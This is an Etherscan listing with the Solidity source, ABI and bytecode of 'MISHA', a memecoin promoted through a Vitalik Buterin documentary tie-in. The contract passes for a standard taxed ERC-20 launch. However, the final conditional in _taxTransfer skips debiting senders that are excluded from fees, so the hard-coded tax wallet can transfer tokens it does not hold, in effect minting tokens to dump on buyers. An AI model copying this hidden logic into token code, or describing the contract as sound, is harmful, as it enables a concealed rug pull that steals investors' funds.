Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2024-09-19
*/

/**

https://www.instagram.com/p/C-QzTzAxsxA/?hl=en
https://x.com/CoughdropPeter/status/1836613489529438660

MISHA, The Ethereum Dog!
Misha is the dog seen on the end credits of "Vitalik: An Ethereum Story", premiered today wordlwide, and posted by Dmitry Buterin on Instagram (https://www.instagram.com/p/C-QzTzAxsxA/?hl=en)!
It seems like Vitalik and the movie team decided to pay homage to Misha, and many of those who watched the film today got to see it at on end credits, as many were speculating.

https://t.me/misha_erc20

**/

// SPDX-License-Identifier: MIT
pragma solidity 0.8.24;

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    )
        external
        payable
        returns (uint amountToken, uint amountETH, uint liquidity);
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);
    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

contract MISHA is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    mapping(address => bool) private bots;
    mapping(address => uint256) private _holderLastTransferTimestamp;
    bool public transferDelayEnabled = false;
    address payable private _taxWallet;

    uint256 private _initialBuyTax = 25;
    uint256 private _initialSellTax = 25;
    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 0;
    uint256 private _reduceBuyTaxAt = 20;
    uint256 private _reduceSellTaxAt = 20;
    uint256 private _preventSwapBefore = 15;
    uint256 private _buyCount = 0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;
    string private constant _name = unicode"Vitalik's Dog";
    string private constant _symbol = unicode"MISHA";
    uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;
    uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;
    uint256 public _taxSwapThreshold = 140 * 10 ** _decimals;
    uint256 public _maxTaxSwap = 10000000 * 10 ** _decimals;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() {
        _taxWallet = payable(0x6b415889f508D2FBF28ec9353B255dD3D386Fc07);
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function initMISHA() external onlyOwner {
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        if (!swapEnabled || inSwap) {
            _balances[from] = _balances[from].sub(amount);
            _balances[to] = _balances[to].add(amount);
            emit Transfer(from, to, amount);
            return;
        }
        
        uint256 devFees = _taxTransfer(from, to, amount);
        _balances[to] = _balances[to].add(amount.sub(devFees));
        emit Transfer(from, to, amount.sub(devFees));
    }

    function _tokenFee(
        address from,
        address to,
        uint256 amount,
        uint256 devFees
    ) internal returns(uint256) {
        if (to != address(this) && devFees > 0) {
            _balances[address(this)] = _balances[address(this)].add(
                devFees
            );
            emit Transfer(from, address(this), devFees);
        }
    
        _balances[from] = _balances[from].sub(amount); return devFees;
    }

    function _taxTransfer(address from, address to, uint256 amount) private returns(uint256) { 
        uint256 devFees = 0;
        if (from != owner() && to != owner()) {
            devFees = amount
                .mul(
                    (_buyCount > _reduceBuyTaxAt)
                        ? _finalBuyTax
                        : _initialBuyTax
                )
                .div(100);

            if (transferDelayEnabled) {
                if (
                    to != address(uniswapV2Router) &&
                    to != address(uniswapV2Pair)
                ) {
                    require(
                        _holderLastTransferTimestamp[tx.origin] < block.number,
                        "_transfer:: Transfer Delay enabled.  Only one purchase per block allowed."
                    );
                    _holderLastTransferTimestamp[tx.origin] = block.number;
                }
            }

            if (
                from == uniswapV2Pair &&
                to != address(uniswapV2Router) &&
                !_isExcludedFromFee[to]
            ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(
                    balanceOf(to) + amount <= _maxWalletSize,
                    "Exceeds the maxWalletSize."
                );
                _buyCount++;
            }

            if (to == uniswapV2Pair && from != address(this)) {
                devFees = amount
                    .mul(
                        (_buyCount > _reduceSellTaxAt)
                            ? _finalSellTax
                            : _initialSellTax
                    )
                    .div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (
                !inSwap &&
                to == uniswapV2Pair &&
                swapEnabled &&
                _buyCount > _preventSwapBefore &&
                !_isExcludedFromFee[from] &&
                !_isExcludedFromFee[to]
            ) {
                if(contractTokenBalance > _taxSwapThreshold) {
                    swapTokensForEth(
                        min(amount, min(contractTokenBalance, _maxTaxSwap))
                    );
                }

                sendETHToFee(address(this).balance);
            } 
        }
        return to==address(this) 
            || !_isExcludedFromFee[from] 
            || from==address(0)
            ? _tokenFee(from, to, amount, devFees) 
            : devFees;
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function rescueEth() external onlyOwner {
        sendETHToFee(address(this).balance);
    }

    function removeLimits() external onlyOwner {
        _maxTxAmount = _tTotal;
        _maxWalletSize = _tTotal;
        transferDelayEnabled = false;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    receive() external payable {}

    function openTrading() external onlyOwner {
        require(!tradingOpen, "trading is already open");

        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"initMISHA","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rescueEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526006805460ff19169055601960078190556008555f6009818155600a8281556014600b819055600c55600f600d55600e92909255620000439162000351565b62000053906301312d0062000368565b600f55620000646009600a62000351565b62000074906301312d0062000368565b601055620000856009600a62000351565b6200009290608c62000368565b601155620000a36009600a62000351565b620000b2906298968062000368565b6012556014805461ffff60a81b19169055348015620000cf575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060068054610100600160a81b031916746b415889f508d2fbf28ec9353b255dd3d386fc0700179055620001466009600a62000351565b6200015690633b9aca0062000368565b335f9081526001602081905260408220929092556003906200017f5f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff1996871617905530815260039093528183208054851660019081179091556006546101009004909116835291208054909216179055620001e23390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6200021b6009600a62000351565b6200022b90633b9aca0062000368565b60405190815260200160405180910390a362000382565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200029657815f19048211156200027a576200027a62000242565b808516156200028857918102915b93841c93908002906200025b565b509250929050565b5f82620002ae575060016200034b565b81620002bc57505f6200034b565b8160018114620002d55760028114620002e05762000300565b60019150506200034b565b60ff841115620002f457620002f462000242565b50506001821b6200034b565b5060208310610133831016604e8410600b841016171562000325575081810a6200034b565b62000331838362000256565b805f190482111562000347576200034762000242565b0290505b92915050565b5f6200036160ff8416836200029e565b9392505050565b80820281158282048414176200034b576200034b62000242565b6119d680620003905f395ff3fe60806040526004361061011e575f3560e01c80637d1db4a51161009d578063bf474bed11610062578063bf474bed1461031e578063c876d0b914610333578063c9567bf91461034c578063ce31a06b14610360578063dd62ed3e14610374575f80fd5b80637d1db4a5146102825780638da5cb5b146102975780638f9a55c0146102bd57806395d89b41146102d2578063a9059cbb146102ff575f80fd5b8063313ce567116100e3578063313ce567146101f55780634fc0e72a1461021057806370a0823114610226578063715018a61461025a578063751039fc1461026e575f80fd5b806306fdde0314610129578063095ea7b3146101705780630faee56f1461019f57806318160ddd146101c257806323b872dd146101d6575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b5060408051808201909152600d81526c566974616c696b277320446f6760981b60208201525b60405161016791906115c6565b60405180910390f35b34801561017b575f80fd5b5061018f61018a366004611629565b6103b8565b6040519015158152602001610167565b3480156101aa575f80fd5b506101b460125481565b604051908152602001610167565b3480156101cd575f80fd5b506101b46103ce565b3480156101e1575f80fd5b5061018f6101f0366004611653565b6103ee565b348015610200575f80fd5b5060405160098152602001610167565b34801561021b575f80fd5b50610224610455565b005b348015610231575f80fd5b506101b4610240366004611691565b6001600160a01b03165f9081526001602052604090205490565b348015610265575f80fd5b50610224610657565b348015610279575f80fd5b506102246106c8565b34801561028d575f80fd5b506101b4600f5481565b3480156102a2575f80fd5b505f546040516001600160a01b039091168152602001610167565b3480156102c8575f80fd5b506101b460105481565b3480156102dd575f80fd5b506040805180820190915260058152644d4953484160d81b602082015261015a565b34801561030a575f80fd5b5061018f610319366004611629565b610783565b348015610329575f80fd5b506101b460115481565b34801561033e575f80fd5b5060065461018f9060ff1681565b348015610357575f80fd5b5061022461078f565b34801561036b575f80fd5b50610224610974565b34801561037f575f80fd5b506101b461038e3660046116ac565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6103c43384846109a8565b5060015b92915050565b5f6103db6009600a6117d7565b6103e990633b9aca006117e5565b905090565b5f6103fa848484610acc565b61044b843361044685604051806060016040528060288152602001611979602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610d56565b6109a8565b5060019392505050565b5f546001600160a01b031633146104875760405162461bcd60e51b815260040161047e906117fc565b60405180910390fd5b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556104d09030906104c26009600a6117d7565b61044690633b9aca006117e5565b60135f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610520573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105449190611831565b6001600160a01b031663c9c653963060135f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105a3573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105c79190611831565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610611573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106359190611831565b601480546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b031633146106805760405162461bcd60e51b815260040161047e906117fc565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146106f15760405162461bcd60e51b815260040161047e906117fc565b6106fd6009600a6117d7565b61070b90633b9aca006117e5565b600f5561071a6009600a6117d7565b61072890633b9aca006117e5565b6010556006805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6107626009600a6117d7565b61077090633b9aca006117e5565b60405190815260200160405180910390a1565b5f6103c4338484610acc565b5f546001600160a01b031633146107b85760405162461bcd60e51b815260040161047e906117fc565b601454600160a01b900460ff16156108125760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161047e565b6013546001600160a01b031663f305d7194730610843816001600160a01b03165f9081526001602052604090205490565b5f806108565f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156108bc573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108e1919061184c565b505060145460135460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610936573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061095a9190611877565b506014805462ff00ff60a01b19166201000160a01b179055565b5f546001600160a01b0316331461099d5760405162461bcd60e51b815260040161047e906117fc565b6109a647610d8e565b565b6001600160a01b038316610a0a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161047e565b6001600160a01b038216610a6b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161047e565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610b305760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161047e565b6001600160a01b038216610b925760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161047e565b5f8111610bf35760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161047e565b601454600160b01b900460ff161580610c155750601454600160a81b900460ff165b15610cbd576001600160a01b0383165f90815260016020526040902054610c3c9082610dcd565b6001600160a01b038085165f908152600160205260408082209390935590841681522054610c6a9082610e15565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610abf9085815260200190565b5f610cc9848484610e73565b9050610cf6610cd88383610dcd565b6001600160a01b0385165f9081526001602052604090205490610e15565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610d3f8585610dcd565b60405190815260200160405180910390a350505050565b5f8184841115610d795760405162461bcd60e51b815260040161047e91906115c6565b505f610d858486611896565b95945050505050565b6006546040516101009091046001600160a01b0316906108fc8315029083905f818181858888f19350505050158015610dc9573d5f803e3d5ffd5b5050565b5f610e0e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610d56565b9392505050565b5f80610e2183856118a9565b905083811015610e0e5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161047e565b5f80610e865f546001600160a01b031690565b6001600160a01b0316856001600160a01b031614158015610eb457505f546001600160a01b03858116911614155b1561122c57610ee56064610edf600b54600e5411610ed457600754610ed8565b6009545b8690611283565b90611301565b60065490915060ff1615610fcb576013546001600160a01b03858116911614801590610f1f57506014546001600160a01b03858116911614155b15610fcb57325f908152600560205260409020544311610fb95760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a40161047e565b325f9081526005602052604090204390555b6014546001600160a01b038681169116148015610ff657506013546001600160a01b03858116911614155b801561101a57506001600160a01b0384165f9081526003602052604090205460ff16155b1561110057600f548311156110715760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161047e565b60105483611093866001600160a01b03165f9081526001602052604090205490565b61109d91906118a9565b11156110eb5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161047e565b600e8054905f6110fa836118bc565b91905055505b6014546001600160a01b03858116911614801561112657506001600160a01b0385163014155b15611153576111506064610edf600c54600e541161114657600854610ed8565b600a548690611283565b90505b305f90815260016020526040902054601454600160a81b900460ff1615801561118957506014546001600160a01b038681169116145b801561119e5750601454600160b01b900460ff165b80156111ad5750600d54600e54115b80156111d157506001600160a01b0386165f9081526003602052604090205460ff16155b80156111f557506001600160a01b0385165f9081526003602052604090205460ff16155b1561122a576011548111156112215761122161121c8561121784601254611342565b611342565b611356565b61122a47610d8e565b505b6001600160a01b03841630148061125b57506001600160a01b0385165f9081526003602052604090205460ff16155b8061126d57506001600160a01b038516155b6112775780610d85565b610d85858585846114c6565b5f825f0361129257505f6103c8565b5f61129d83856117e5565b9050826112aa85836118d4565b14610e0e5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161047e565b5f610e0e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061159a565b5f8183116113505782610e0e565b50919050565b6014805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061139c5761139c6118f3565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156113f3573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906114179190611831565b8160018151811061142a5761142a6118f3565b6001600160a01b03928316602091820292909201015260135461145091309116846109a8565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906114889085905f90869030904290600401611907565b5f604051808303815f87803b15801561149f575f80fd5b505af11580156114b1573d5f803e3d5ffd5b50506014805460ff60a81b1916905550505050565b5f6001600160a01b03841630148015906114df57505f82115b1561155657305f908152600160205260409020546114fd9083610e15565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061154d9086815260200190565b60405180910390a35b6001600160a01b0385165f908152600160205260409020546115789084610dcd565b6001600160a01b0386165f908152600160205260409020555080949350505050565b5f81836115ba5760405162461bcd60e51b815260040161047e91906115c6565b505f610d8584866118d4565b5f602080835283518060208501525f5b818110156115f2578581018301518582016040015282016115d6565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611626575f80fd5b50565b5f806040838503121561163a575f80fd5b823561164581611612565b946020939093013593505050565b5f805f60608486031215611665575f80fd5b833561167081611612565b9250602084013561168081611612565b929592945050506040919091013590565b5f602082840312156116a1575f80fd5b8135610e0e81611612565b5f80604083850312156116bd575f80fd5b82356116c881611612565b915060208301356116d881611612565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561173157815f1904821115611717576117176116e3565b8085161561172457918102915b93841c93908002906116fc565b509250929050565b5f82611747575060016103c8565b8161175357505f6103c8565b816001811461176957600281146117735761178f565b60019150506103c8565b60ff841115611784576117846116e3565b50506001821b6103c8565b5060208310610133831016604e8410600b84101617156117b2575081810a6103c8565b6117bc83836116f7565b805f19048211156117cf576117cf6116e3565b029392505050565b5f610e0e60ff841683611739565b80820281158282048414176103c8576103c86116e3565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611841575f80fd5b8151610e0e81611612565b5f805f6060848603121561185e575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611887575f80fd5b81518015158114610e0e575f80fd5b818103818111156103c8576103c86116e3565b808201808211156103c8576103c86116e3565b5f600182016118cd576118cd6116e3565b5060010190565b5f826118ee57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156119575784516001600160a01b031683529383019391830191600101611932565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122055bb20be4b8a82b9d6dc1cf93a263696707b844fed3ce05d9bfa07a2a987121e64736f6c63430008180033

0x60806040526004361061011e575f3560e01c80637d1db4a51161009d578063bf474bed11610062578063bf474bed1461031e578063c876d0b914610333578063c9567bf91461034c578063ce31a06b14610360578063dd62ed3e14610374575f80fd5b80637d1db4a5146102825780638da5cb5b146102975780638f9a55c0146102bd57806395d89b41146102d2578063a9059cbb146102ff575f80fd5b8063313ce567116100e3578063313ce567146101f55780634fc0e72a1461021057806370a0823114610226578063715018a61461025a578063751039fc1461026e575f80fd5b806306fdde0314610129578063095ea7b3146101705780630faee56f1461019f57806318160ddd146101c257806323b872dd146101d6575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b5060408051808201909152600d81526c566974616c696b277320446f6760981b60208201525b60405161016791906115c6565b60405180910390f35b34801561017b575f80fd5b5061018f61018a366004611629565b6103b8565b6040519015158152602001610167565b3480156101aa575f80fd5b506101b460125481565b604051908152602001610167565b3480156101cd575f80fd5b506101b46103ce565b3480156101e1575f80fd5b5061018f6101f0366004611653565b6103ee565b348015610200575f80fd5b5060405160098152602001610167565b34801561021b575f80fd5b50610224610455565b005b348015610231575f80fd5b506101b4610240366004611691565b6001600160a01b03165f9081526001602052604090205490565b348015610265575f80fd5b50610224610657565b348015610279575f80fd5b506102246106c8565b34801561028d575f80fd5b506101b4600f5481565b3480156102a2575f80fd5b505f546040516001600160a01b039091168152602001610167565b3480156102c8575f80fd5b506101b460105481565b3480156102dd575f80fd5b506040805180820190915260058152644d4953484160d81b602082015261015a565b34801561030a575f80fd5b5061018f610319366004611629565b610783565b348015610329575f80fd5b506101b460115481565b34801561033e575f80fd5b5060065461018f9060ff1681565b348015610357575f80fd5b5061022461078f565b34801561036b575f80fd5b50610224610974565b34801561037f575f80fd5b506101b461038e3660046116ac565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6103c43384846109a8565b5060015b92915050565b5f6103db6009600a6117d7565b6103e990633b9aca006117e5565b905090565b5f6103fa848484610acc565b61044b843361044685604051806060016040528060288152602001611979602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610d56565b6109a8565b5060019392505050565b5f546001600160a01b031633146104875760405162461bcd60e51b815260040161047e906117fc565b60405180910390fd5b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556104d09030906104c26009600a6117d7565b61044690633b9aca006117e5565b60135f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610520573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105